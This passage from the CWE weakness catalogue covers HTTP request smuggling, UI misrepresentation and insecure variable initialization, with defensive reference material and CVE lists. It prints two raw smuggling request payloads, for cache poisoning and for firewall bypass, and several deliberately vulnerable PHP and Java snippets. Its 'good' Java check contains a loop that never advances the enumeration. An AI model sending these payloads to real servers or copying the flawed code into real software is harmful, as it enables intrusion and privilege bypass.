WASC	32		Routing Detour

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
141	Cache Poisoning
142	DNS Cache Poisoning
219	XML Routing Detour Attacks
465	Transparent Proxy Abuse

References

[REF-432]Norm Hardy. "The Confused Deputy (or why capabilities might have been invented)". 1988. < http://www.cap-lore.com/CapTheory/ConfusedDeputy.html >.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Weakness ID : 444 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	944

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	944

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Non-Repudiation Access Control	Unexpected State Hide Activities Bypass Protection Mechanism *An attacker could create a request to exploit a number of weaknesses including 1) the request can trick the web server to associate a URL with another URLs webpage and caching the contents of the webpage (web cache poisoning attack), 2) the request can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the request can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).*	

Potential Mitigations

Phase: Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Phase: Implementation

Use only SSL communication.

Phase: Implementation

Terminate the client session after each request.

Phase: System Configuration

Turn all pages to non-cacheable.

Demonstrative Examples

Example 1:

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

Example Language: *(attack)*

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 44
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

When this request is sent to the proxy server, the proxy server parses the POST request in the first seven lines, and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in the next three lines that contain exactly 44 bytes as the first request's body. The proxy then parses the last three lines which it treats as the client's second request.

The request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body, and the second request is the line with the first GET (note that the second GET is parsed by the web server as the value of the "Bla" header).

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server some protection against this type of attack can be achieved by installing a web application firewall, or use a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

Example Language: Java *(good)*

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
    // Set up response writer object
    ...
    try {
        // check for multiple content length headers
        Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
        int count = 0;
        while (contentLengthHeaders.hasMoreElements()) {
            count++;
        }
        if (count > 1) {
            // output error response
        }
        else {
            // process request
        }
```

```
    } catch (Exception ex) {...}
}
```

Example 2:

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system..

Example Language: *(attack)*

```
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive
```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

Observed Examples

Reference	Description
CVE-2005-2088	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2088*
CVE-2005-2089	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2089*
CVE-2005-2090	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2090*
CVE-2005-2091	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2091*

Reference	Description
CVE-2005-2092	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2092*
CVE-2005-2093	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2093*
CVE-2005-2094	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2094*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Theoretical

Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			HTTP Request Smuggling
WASC	26		HTTP Request Smuggling

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
33	HTTP Request Smuggling
105	HTTP Request Splitting

References

[REF-433]Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin. "HTTP Request Smuggling". < http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf >.

CWE-446: UI Discrepancy for Security Feature

Weakness ID : 446 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption.

Alternately, the user might provide a "restrict ALL'" access control rule, but the software only implements "restrict SOME".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	684	Incorrect Provision of Specified Functionality	1332
ParentOf	B	447	Unimplemented or Unsupported Feature in UI	957
ParentOf	B	448	Obsolete Feature in UI	959
ParentOf	B	449	The UI Performs the Wrong Action	960

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Observed Examples

Reference	Description
CVE-1999-1446	UI inconsistency; visited URLs list not cleared when "Clear History" option is selected. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1446*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	996	SFP Secondary Cluster: Security	888	1958

Notes

Relationship

This is often resultant.

Maintenance

This node is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			User interface inconsistency

CWE-447: Unimplemented or Unsupported Feature in UI

Weakness ID : 447 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		446	UI Discrepancy for Security Feature	956
ChildOf		671	Lack of Administrator Control over Security	1309

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Testing

Perform functionality testing before deploying the application.

Observed Examples

Reference	Description
CVE-2000-0127	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0127*
CVE-2001-0863	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0863*
CVE-2001-0865	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0865*
CVE-2004-0979	Web browser does not properly modify security setting when the user sets it. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0979*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

Notes

Research Gap

This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unimplemented or unsupported feature in UI

CWE-448: Obsolete Feature in UI

Weakness ID : 448 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A UI function is obsolete and the product does not warn the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	446	UI Discrepancy for Security Feature	956

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Remove the obsolete feature from the UI. Warn the user that the feature is no longer supported.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Obsolete feature in UI

CWE-449: The UI Performs the Wrong Action

Weakness ID : 449 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The UI performs the wrong action with respect to the user's request.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	446	UI Discrepancy for Security Feature	956

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Testing

Perform extensive functionality testing of the UI. The UI should behave as specified.

Observed Examples

Reference	Description
CVE-2001-1387	Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1387*
CVE-2001-0081	Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0081*
CVE-2002-1977	Product does not "time out" according to user specification, leaving sensitive data available after it has expired. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1977*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			The UI performs the wrong action

CWE-450: Multiple Interpretations of UI Input

Weakness ID : 450 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	357	Insufficient UI Warning of Dangerous Operations	785

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Interpretations of UI Input

CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID : 451 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

- Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the software or the environment the software is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
- Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
- Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
- Timing: the software is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
- Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause

truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.
- Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
- Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	511
ChildOf	C	684	Incorrect Provision of Specified Functionality	1332
ParentOf	B	1007	Insufficient Visual Distinction of Homoglyphs Presented to User	1628
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1631
PeerOf	B	346	Origin Validation Error	760

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

Phase: Architecture and Design

Strategy = Output Encoding

Create a strategy for presenting information, and plan for how to display unusual characters.

Observed Examples

Reference	Description
CVE-2004-2227	Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2227*
CVE-2001-0398	Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0398
CVE-2001-0643	Misrepresentation and equivalence issue. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0643*
CVE-2005-0593	Lock spoofing from several different weaknesses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0593*
CVE-2004-1104	Incorrect indicator: web browser can be tricked into presenting the wrong URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1104*
CVE-2005-0143	Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0143*
CVE-2005-0144	Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0144*
CVE-2004-0761	Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0761*
CVE-2004-2219	Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2219*
CVE-2004-0537	Overlay: Wide "favorites" icon can overlay and obscure address bar *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0537*
CVE-2005-2271	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2271*
CVE-2005-2272	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2272*
CVE-2005-2273	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2273*
CVE-2005-2274	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2274*
CVE-2001-1410	Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1410*
CVE-2002-0197	Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0197*
CVE-2005-0831	Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0831*
CVE-2003-1025	Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1025*

Reference	Description
CVE-2005-0243	Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0243*
CVE-2005-1575	Visual truncation: Web browser file download type can be hidden using whitespace. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1575*
CVE-2004-2530	Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2530*
CVE-2005-0590	Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0590*
CVE-2004-1451	Visual truncation: Null character in URL prevents entire URL from being displayed in web browser. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1451*
CVE-2004-2258	Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2258*
CVE-2005-1678	Miscellaneous -- Dangerous file extensions not displayed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1678*
CVE-2002-0722	Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialogue box. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0722*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

Notes

Maintenance

This entry could be broken down into smaller entries. It is probably more like a Class than a Base.

Research Gap

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UI Misrepresentation of Critical Information

References

[REF-434]David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003 March 3. < http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/semantic-attacks.html >.

CWE-453: Insecure Default Variable Initialization

Weakness ID : 453 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software, by default, initializes an internal variable with an insecure or less secure value than is possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1188	Insecure Default Initialization of Resource	1725

Applicable Platforms

Language : PHP *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could gain access to and modify sensitive data or system information.*	

Potential Mitigations

Phase: System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

Demonstrative Examples

Example 1:

This code attempts to login a user using credentials from a POST request:

Example Language: PHP *(bad)*

```
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
    $authorized = true;
}
...
if ($authorized) {
    generatePage();
}
```

Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

Example Language: PHP *(bad)*

```
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
    $authorized = true;
}
...
```

This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943

Notes

Maintenance

This overlaps other categories, probably should be split into separate items.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure default variable initialization

CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID : 454 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

Extended Description

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. The variables may have been initialized incorrectly. If an attacker can initialize the variable, then they can influence what the vulnerable system will do.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	665	Improper Initialization	1293

Nature	Type	ID	Name	Page
CanAlsoBe	V	456	Missing Initialization of a Variable	971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Applicable Platforms

Language : PHP *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could gain access to and modify sensitive data or system information.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Phase: Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using an allowlist, and use a different namespace or naming convention if possible.

Demonstrative Examples

Example 1:

In the Java example below, a system property controls the debug level of the application.

Example Language: Java *(bad)*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

Example 2:

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

Example Language: PHP *(bad)*

```
$debugEnabled = false;
if ($_POST["debug"] == "true"){
    $debugEnabled = true;
}
/.../
function login($username, $password){
    if($debugEnabled){
        echo 'Debug Activated';
        phpinfo();
        $isAdmin = True;
        return True;
```

```
    }
}
```

